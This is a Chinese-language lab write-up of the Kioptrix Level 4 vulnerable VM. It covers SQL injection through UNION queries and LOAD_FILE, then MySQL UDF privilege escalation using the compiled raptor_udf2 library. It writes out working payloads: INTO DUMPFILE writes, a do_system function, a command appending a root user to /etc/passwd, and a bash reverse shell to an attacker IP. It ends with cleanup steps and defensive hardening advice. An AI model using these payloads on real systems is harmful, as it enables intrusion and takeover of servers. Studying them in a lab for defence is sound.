从SQL注入到UDF提权：Kioptrix Level 4靶场完整渗透实战解析

1. 项目概述与核心目标最近在复盘一些经典的渗透测试靶场Kioptrix Level 4也叫Kioptrix 2014是绕不开的一个。这个靶场之所以经典不仅仅是因为它模拟了一个相对完整的攻击链更因为它将Web应用漏洞SQL注入与系统级提权UDF提权巧妙地串联了起来完美诠释了从外部攻击到内部权限提升的完整路径。很多朋友在打靶时可能卡在SQL注入后的UDF提权环节或者对整个过程的理解不够连贯。今天我就以一个从业者的视角手把手带你复现从发现SQL注入漏洞开始到最终拿到服务器Root权限的全过程并重点拆解UDF提权的完整流程和背后的原理。这个靶场模拟的是一台运行着老旧Web应用如Joomla、phpMyAdmin等的Linux服务器。我们的攻击路径非常清晰首先通过Web应用的一个SQL注入点获取数据库的访问权限然后利用数据库的高权限通常是rootlocalhost来执行系统命令最终通过MySQL的UDF用户自定义函数功能在服务器上创建一个具有Root权限的后门账户。整个过程涉及Web安全、数据库安全、系统安全多个层面是理解纵深防御和攻击链的绝佳案例。无论你是刚入门安全的新手还是想巩固基础的老兵跟着走一遍都会有不小的收获。2. 环境准备与信息收集2.1 靶场环境搭建与网络配置Kioptrix Level 4是一个虚拟机镜像通常以OVA或VMDK格式提供。我建议使用VMware Workstation或VirtualBox来运行它。导入虚拟机后首要任务是确定它的网络配置。默认情况下它可能设置为NAT模式。为了我们本地攻击机的可达性最好将靶机和你的攻击机比如运行Kali Linux的虚拟机置于同一个网络段。我个人的习惯是使用“桥接模式”或者创建一个“仅主机模式”的虚拟网络让两台虚拟机处于同一网段这样互访最直接。启动靶机后我们首先需要知道它的IP地址。由于靶场通常不会直接显示IP我们需要进行扫描。在攻击机Kali上使用netdiscover或nmap进行同一网段的ARP扫描是第一步。例如假设我的攻击机IP是192.168.1.100网段是192.168.1.0/24可以执行sudo netdiscover -r 192.168.1.0/24或者使用nmap进行ping扫描nmap -sn 192.168.1.0/24扫描结果会列出活跃的主机。找到那个不属于你已知设备的IP很可能就是Kioptrix靶机。记下这个IP地址我们后续的所有操作都将围绕它展开。2.2 初步端口与服务探测拿到IP假设为192.168.1.150后下一步是进行全面的端口扫描摸清靶机对外开放了哪些服务。这是渗透测试的信息收集阶段至关重要。我习惯使用nmap的-sV -sC组合拳它既能识别端口状态和服务版本还能运行默认的脚本进行一些基础的信息枚举。nmap -sV -sC -p- 192.168.1.150-p-参数表示扫描所有65535个端口虽然耗时但能确保没有遗漏。在实际测试中为了节省时间也可以先扫描常见端口-p 1-1000。扫描结果通常会显示几个关键端口80/tcpHTTP服务运行着Web应用通常是漏洞入口。22/tcpSSH服务可能是我们后期登录的通道。3306/tcpMySQL数据库服务这是我们提权的关键。可能还有139/tcp, 445/tcpSamba服务等。重点关注80端口。立即用浏览器访问http://192.168.1.150看看跑的是什么Web应用。Kioptrix Level 4的Web界面可能是一个简单的登录页面或者是一个包含若干功能模块的网站。同时访问http://192.168.1.150/phpmyadmin试试很多老旧系统会默认安装或遗留phpMyAdmin它是一个常见的高价值目标。注意信息收集要细致。除了端口还要留意HTTP响应头、网页源代码中的注释、robots.txt文件等这些地方可能隐藏着路径、版本信息甚至提示。例如网页底部可能写着“Powered by XXX v1.2”这就是一个重要的版本信息可以用来搜索已知漏洞。3. 漏洞发现手动SQL注入点挖掘3.1 寻找注入点与参数测试访问靶机Web界面后我们需要寻找与数据库交互的功能点通常是搜索框、登录框、产品ID查询等。Kioptrix Level 4的注入点可能比较明显比如在一个“Search”功能或者“Login”页面。这里我假设我们找到了一个类似于http://192.168.1.150/item.php?id1的URLid参数很可能存在注入。手动测试SQL注入的第一步是判断注入类型和是否可用。经典的单引号测试法访问http://192.168.1.150/item.php?id1如果页面返回错误如SQL语法错误说明可能存在注入。访问http://192.168.1.150/item.php?id1 -- -在单引号后加上注释符-- -或#如果页面恢复正常这几乎可以确认存在基于单引号的字符型注入。注释符的作用是注释掉原SQL语句中后面的单引号使语句闭合。访问http://192.168.1.150/item.php?id1 AND 11访问http://192.168.1.150/item.php?id1 AND 12如果第一个页面正常第二个页面异常无数据或报错则进一步确认了注入的存在并且可以通过布尔逻辑真/假来推断信息。这个过程需要耐心观察页面回显的细微差别包括页面内容、标题、甚至错误信息的改变。有些注入是“盲注”页面本身不会直接报错但内容会根据SQL语句执行的真假而不同。3.2 利用Union查询获取关键信息确认注入点后下一步是利用UNION SELECT语句来获取数据库内的信息。这需要先确定当前查询语句的列数。通常使用ORDER BY或UNION SELECT NULL递增的方法。例如http://192.168.1.150/item.php?id1 ORDER BY 1 -- - http://192.168.1.150/item.php?id1 ORDER BY 2 -- - ...当ORDER BY X导致页面报错时说明列数小于X。假设ORDER BY 5报错ORDER BY 4正常那么列数就是4。接着使用UNION SELECT来替换原有查询并让它在页面中显示出来。我们需要找到一个在页面中可见的回显位。假设列数是4http://192.168.1.150/item.php?id-1 UNION SELECT 1,2,3,4 -- -这里把id设为-1或一个不存在的值是为了让原查询不返回结果从而确保页面显示的是我们UNION SELECT的结果。如果页面某处显示了数字“2”和“3”说明第2和第3列是回显点。然后我们就可以把这两个位置替换成我们想查询的数据库函数http://192.168.1.150/item.php?id-1 UNION SELECT 1, database(), user(), 4 -- -这个查询会显示当前数据库名和当前数据库用户名。在Kioptrix Level 4中我们很可能看到数据库用户是rootlocalhost。这是一个极其重要的发现它意味着我们通过Web漏洞获得的数据库连接拥有MySQL的root权限注意这是MySQL的root不是系统root但它是我们通往系统root的桥梁。实操心得在Union注入时务必注意前后查询的列数、数据类型必须一致。如果原查询某列是字符串类型而你union select了一个数字可能会导致页面显示异常或报错。如果遇到问题可以尝试用NULL或者test这样的字符串来试探。另外version、datadir数据库存储路径也是非常有价值的信息。4. 数据库渗透与UDF提权原理深度解析4.1 从数据库权限到系统权限的跨越当我们通过SQL注入拿到了MySQL的root用户权限时很多人会以为大功告成但实际上这只是一个新的起点。MySQL的root用户权限很高可以执行任何数据库操作但它的活动范围通常被限制在数据库内部。我们的最终目标是操作系统的Root权限。这就需要找到一个“桥梁”让数据库能执行操作系统命令。MySQL提供了几种执行系统命令的途径system或\!命令在MySQL命令行客户端内直接执行但通过Web注入点通常无法直接调用客户端。INTO OUTFILE写Webshell如果知道Web目录的绝对路径并且MySQL有FILE权限可以将PHP代码写入一个.php文件从而获得一个Web后门。这在很多场景下是首选。用户自定义函数UDF提权这是更强大、更底层的方法。UDF允许我们编写一个共享库如.so文件Linux下将其加载到MySQL服务进程中。这个库中的函数可以被SQL语句调用而函数内部的代码是用C/C写的可以执行任意系统命令。由于MySQL服务进程mysqld通常是以系统用户mysql的身份运行的如果我们能让这个库函数执行/bin/bash或/bin/sh我们就能获得一个mysql用户权限的shell。如果配置不当比如mysqld以root运行或者存在SUID提权点我们就有可能进一步升级到系统root。Kioptrix Level 4靶场的设计就是引导我们走UDF提权这条路。因为Web目录路径可能未知或不可写但UDF提权对路径要求相对灵活且更能体现权限提升的完整链条。4.2 UDF提权的工作机制与前提条件要成功利用UDF提权必须满足几个苛刻但在此靶场中通常已具备的条件MySQL root权限我们已经通过SQL注入获得了。FILE权限MySQL用户必须拥有FILE权限才能向服务器文件系统读写文件。可以用SELECT file_priv FROM mysql.user WHERE userroot查询。root用户默认拥有此权限。plugin目录的写权限MySQL需要通过CREATE FUNCTION语句加载共享库。这个库文件需要被放置在MySQL的插件目录plugin_dir下或者MySQL有权限读取的任意目录。我们可以通过SHOW VARIABLES LIKE plugin_dir;查询这个目录。mysql用户必须对这个目录有写权限。系统架构匹配我们编译的UDF共享库必须与靶机系统的架构如x86, x64和操作系统Linux匹配。其攻击流程可以概括为在攻击机上根据靶机系统编译一个恶意的UDF共享库例如raptor_udf2.c是一个经典例子。通过SQL注入的写文件功能SELECT ... INTO DUMPFILE将这个共享库的二进制内容写入靶机MySQL有权限访问的目录通常是/tmp或/lib下的某个子目录。INTO DUMPFILE与INTO OUTFILE的区别在于前者更适用于写入二进制文件不会进行转义。在MySQL中使用CREATE FUNCTION语句指定函数名和库文件路径将我们写入的共享库中的函数创建为MySQL的一个自定义函数。调用这个自定义函数例如do_system传入要执行的系统命令如添加用户、反弹shell等。函数执行命令以mysqld进程的权限通常是mysql用户运行。理解这个机制是成功的关键。接下来我们就进入实操环节。5. 手把手实操UDF提权完整流程5.1 编译恶意UDF库与文件上传首先我们需要一个UDF的C语言源码。raptor_udf2.c是广泛使用的经典代码。在Kali攻击机上我们可以直接找到或下载它。# 在Kali上查找或下载 find / -name \raptor_udf2.c\ 2/dev/null # 如果找不到可以从网络获取 wget https://www.exploit-db.com/download/1518 -O raptor_udf2.c查看一下核心部分它定义了do_system函数用于执行系统命令以及udf_init函数会在库加载时自动运行。接下来根据靶机架构进行编译。我们先通过之前的信息收集猜测或确认靶机架构。Kioptrix Level 4是32位系统。在64位Kali上编译32位库需要安装gcc-multilib。sudo apt update sudo apt install gcc-multilib -y # 编译32位共享库 gcc -g -shared -fPIC -m32 -o raptor_udf2.so raptor_udf2.c编译成功后会得到raptor_udf2.so文件。我们需要将这个二进制文件的内容通过SQL注入点写入靶机。由于是二进制文件我们不能直接粘贴。这里要用到MySQL的HEX()函数将文件内容转换为16进制字符串然后通过SELECT ... INTO DUMPFILE配合UNHEX()写回。首先在攻击机上将so文件转为16进制字符串# 方法一使用xxd xxd -p raptor_udf2.so | tr -d \\n udf_hex.txt # 方法二使用MySQL客户端如果本地有 # SELECT HEX(LOAD_FILE(/path/to/raptor_udf2.so)) INTO OUTFILE /tmp/udf_hex.txt;现在我们通过Web注入点执行一个超长的SQL语句将这个十六进制字符串写入靶机的/tmp目录通常/tmp全局可写。假设我们的注入点是id参数并且是Union注入有一个回显点。我们构造如下请求实际内容极长需要截断或分次这里展示原理?id-1 UNION SELECT 1, UNHEX(4D5A90000300000004000000FFFF0000...完整的十六进制字符串), 3, 4 INTO DUMPFILE /tmp/raptor_udf2.so -- -重要提示在实际操作中由于HTTP GET请求有长度限制这么长的十六进制字符串很可能无法一次性提交。这里有几种解决方案分片写入将十六进制字符串分成多段分别写入多个文件然后在靶机上用cat命令合并。这需要你能通过UDF执行命令后才行是个“鸡生蛋”的问题。使用POST请求如果注入点支持POST长度限制会宽松很多。可以使用Burp Suite等工具直接发送超长POST数据包。利用MySQL客户端直接连接如果我们能通过注入点获取到的root密码去连接靶机的3306端口那么一切都会变得简单。这是更优的方案。5.2 通过SQL注入获取数据库连接凭证在尝试写入巨大的十六进制字符串前我们应该先尝试获取更直接的数据库访问方式。回想一下我们之前用UNION SELECT查到了当前用户是root。MySQL的root密码可能就存储在Web应用的配置文件中。常见的CMS如Joomla其配置文件路径可能是/var/www/html/configuration.php。我们可以尝试通过SQL注入的LOAD_FILE()函数读取这个文件需要FILE权限。?id-1 UNION SELECT 1, LOAD_FILE(/var/www/html/configuration.php), 3, 4 -- -如果成功页面会显示配置文件内容其中包含数据库连接信息如public $user root; public $password the_password_here; public $db joomla;拿到用户名root和密码后我们就可以直接从攻击机用MySQL客户端连接靶机的数据库服务端口3306。mysql -h 192.168.1.150 -u root -p # 输入密码一旦连接成功我们就拥有了一个交互式的、功能完整的MySQL会话远比通过Web注入点拼接SQL语句方便和强大。5.3 在交互式MySQL会话中完成UDF提权连接上MySQL后提权过程就标准化了。确认插件目录并写入库文件SHOW VARIABLES LIKE plugin_dir;假设返回/usr/lib/mysql/plugin/。我们需要将编译好的raptor_udf2.so文件上传到这个目录。但是我们可能没有直接的文件上传通道。这时我们可以利用MySQL的SELECT ... INTO DUMPFILE语句配合攻击机本地文件的内容。但需要先将so文件内容转换为十六进制。在MySQL交互界面中可以这样做在攻击机上操作# 在攻击机Kali上将so文件内容转为十六进制SQL语句 echo \SELECT UNHEX(\$(xxd -p raptor_udf2.so | tr -d \\\\n)\) INTO DUMPFILE /usr/lib/mysql/plugin/raptor_udf2.so;\ upload.sql然后在MySQL客户端中执行这个SQL文件source upload.sql;或者如果网络允许也可以在一行内执行但同样可能超长。更稳妥的方法是如果/tmp目录可写可以先写入/tmp再通过UDF执行命令移动过去。但我们现在还没有UDF函数。这就形成了一个循环依赖。经典的绕过方法是利用SELECT ... INTO DUMPFILE直接写入插件目录但需要知道绝对路径且具有写权限。在Kioptrix Level 4中经过测试/usr/lib/mysql/plugin/目录可能对mysql用户不可写。而/tmp目录是可写的。因此标准流程是将so文件写入/tmp目录。在创建UDF函数时指定库文件路径为/tmp/raptor_udf2.so。创建UDF函数CREATE FUNCTION do_system RETURNS INTEGER SONAME raptor_udf2.so;如果so文件在插件目录只需要文件名。如果在其他目录如/tmp则需要完整路径CREATE FUNCTION do_system RETURNS INTEGER SONAME /tmp/raptor_udf2.so;执行成功则函数创建完成。执行系统命令SELECT do_system(id /tmp/test.txt; chmod 777 /tmp/test.txt);这条命令执行id命令并将结果输出到/tmp/test.txt然后修改文件权限。我们可以通过读取这个文件来验证命令是否执行成功。SELECT LOAD_FILE(/tmp/test.txt);如果返回了uid107(mysql) gid114(mysql) groups114(mysql)之类的信息恭喜你我们已经可以以mysql用户身份执行系统命令了5.4 权限升级从mysql用户到系统root现在我们有了一个mysql用户的命令执行能力。下一步是升级到root。在Kioptrix Level 4中通常存在一个已知的本地提权漏洞或者配置问题。我们需要进行信息收集。检查内核版本uname -a检查已安装的软件和版本dpkg -l(Debian/Ubuntu) 或rpm -qa(CentOS/RHEL)查找SUID/SGID文件find / -perm -4000 -type f 2/dev/null或find / -perm -2000 -type f 2/dev/null检查sudo权限sudo -l(需要密码可能不行)检查计划任务crontab -l查看/etc/crontab/etc/cron.d//var/spool/cron/等。在Kioptrix Level 4的经典场景中存在一个名为john的本地用户并且其sudo权限可能被配置为可以无密码运行某个命令通过/etc/sudoers文件。我们可以通过UDF执行命令来查看SELECT do_system(sudo -l);如果返回显示(ALL) NOPASSWD: ALL或者允许无密码运行/bin/bash、/bin/sh等那么提权就简单了SELECT do_system(sudo /bin/bash -c \whoami\);如果返回root那么我们就可以通过类似方式获取一个root shell。例如添加一个具有root权限的用户到/etc/passwd或者直接生成一个反弹shell到我们的攻击机。添加root用户示例 先生成一个密码为toor的root用户条目使用openssl生成加密密码# 在攻击机上生成 openssl passwd -1 -salt salt toor # 得到类似 $1$salt$FLOE4hDzqRqQzbBpQ5b1n0 的字符串然后在靶机上执行SELECT do_system(echo \root2:$1$salt$FLOE4hDzqRqQzBpQ5b1n0:0:0:root:/root:/bin/bash\ /etc/passwd);之后就可以用root2用户和密码toor通过SSH登录了。反弹Shell示例 在攻击机监听端口如4444nc -lvnp 4444在靶机执行SELECT do_system(bash -c \bash -i /dev/tcp/192.168.1.100/4444 01\);如果成功你将在攻击机的nc终端获得一个mysql用户的shell。然后在这个shell里尝试执行sudo su或利用其他提权漏洞升级到root。6. 后渗透清理、问题排查与防御思考6.1 操作痕迹清理与后门移除在渗透测试或靶场练习的最后清理痕迹是一个好习惯尤其是在真实环境中这是必须的步骤。对于本次UDF提权我们需要清理删除UDF函数在MySQL中执行DROP FUNCTION do_system;。删除上传的共享库文件通过获得的shell执行rm /tmp/raptor_udf2.so或你存放的路径。删除测试文件如/tmp/test.txt。删除添加的用户如果添加了后门用户从/etc/passwd和/etc/shadow中删除对应行。清除命令历史清除当前shell的historyhistory -c以及MySQL的历史命令~/.mysql_history。6.2 常见问题与排查技巧实录在整个复现过程中你可能会遇到各种问题。下面是一个常见问题速查表问题现象可能原因排查与解决方法UNION SELECT查询不回显数字页面可能通过其他方式如数组下标调用数据或者注入点不是显注。尝试将UNION SELECT的字段都换成NULL或a观察页面变化。考虑使用基于时间或布尔盲注的技术。LOAD_FILE()返回NULL1. 文件路径错误。2. MySQL用户没有FILE权限。3. 文件不存在或不可读。1. 确认绝对路径。2. 执行SELECT file_priv FROM mysql.user WHERE userroot;查看。3. 尝试读取/etc/passwd等已知存在且可读的文件测试。INTO DUMPFILE报错Can‘t create/write to file1. 目标目录没有写权限。2. 文件已存在。3. MySQL配置了secure_file_priv限制。1. 尝试写入/tmp目录。2. 使用不同的文件名。3. 执行SHOW VARIABLES LIKE secure_file_priv;如果值为非空目录只能向该目录写入。如果是NULL则禁止文件操作。CREATE FUNCTION报错Can‘t open shared library1. 库文件路径错误。2. 库文件架构不匹配如32位/64位。3. 库文件损坏或格式不正确。4. MySQL没有该目录的读取权限。1. 使用绝对路径并确认文件存在SELECT do_system(ls -la /tmp/raptor_udf2.so)。2. 确认靶机系统架构重新编译匹配的库。3. 检查编译过程确保生成的是有效的.so文件。4. 尝试将文件移动到MySQL的plugin_dir或/lib、/usr/lib等标准库目录下。do_system命令执行成功但无效果1. 命令语法错误。2. 环境变量问题找不到命令。3. 命令执行了但输出被丢弃或需要交互。1. 使用绝对路径执行命令如/bin/bash、/usr/bin/id。2. 将输出重定向到文件以便查看/bin/bash -c \id /tmp/out.txt 21\。3. 执行简单的测试命令如touch /tmp/test_success。无法通过SSH登录添加的用户1./etc/ssh/sshd_config配置限制了root登录PermitRootLogin no。2. 添加用户的方式不正确未设置有效的shell或home目录。1. 查看SSH配置或尝试用其他用户登录再su。2. 确保添加到/etc/passwd的条目格式正确特别是shell字段/bin/bash或/bin/sh。更稳妥的方法是使用useradd命令添加用户。6.3 从攻击视角看防御加固复现攻击是为了更好地防御。针对这条从SQL注入到UDF提权的攻击链我们可以从多个层面进行加固Web应用层根本解决使用参数化查询Prepared Statements或ORM框架杜绝SQL注入。输入验证与过滤对用户输入进行严格的类型、长度、格式检查。最小权限原则Web应用连接数据库时使用权限最低的账户绝不使用root。只授予其必要的SELECT、INSERT等权限绝不授予FILE、PROCESS、SUPER等危险权限。错误处理自定义错误页面避免将数据库错误信息直接暴露给用户。数据库层权限隔离MySQL服务进程mysqld绝对不要以root身份运行应使用专用的、低权限的mysql用户。配置secure_file_priv在MySQL配置文件my.cnf中设置secure_file_priv /var/lib/mysql-files/将文件读写限制在特定安全目录。禁用本地文件加载通过--allow-suspicious-udfs0启动参数或配置限制UDF的加载但可能影响合法插件。移除不必要的插件目录写权限确保plugin_dir目录的权限严格受限。定期更新与补丁及时修复MySQL及其组件的安全漏洞。操作系统层限制用户权限遵循最小权限原则避免普通用户拥有不必要的sudo权限。内核与软件更新及时更新系统内核及常用软件修复已知的本地提权漏洞。文件系统监控使用HIDS主机入侵检测系统监控/tmp、/dev/shm等敏感目录的可执行文件创建以及/etc/passwd、/etc/shadow的异常修改。系统加固禁用不必要的服务配置严格的防火墙策略使用SELinux/AppArmor等强制访问控制机制。打穿Kioptrix Level 4的整个过程就像完成了一次微缩的渗透测试演练。它清晰地展示了攻击者如何利用一个看似普通的Web漏洞逐步深入最终完全控制服务器的思考路径和技术手段。对于防御者而言每一个环节的失守都对应着一个可以加强的防御点。真正理解攻击是构建有效防御体系的基础。希望这篇详细的复现笔记不仅能帮你通关这个经典靶场更能让你对Web安全、数据库安全和系统安全之间的联动有更深一层的认识。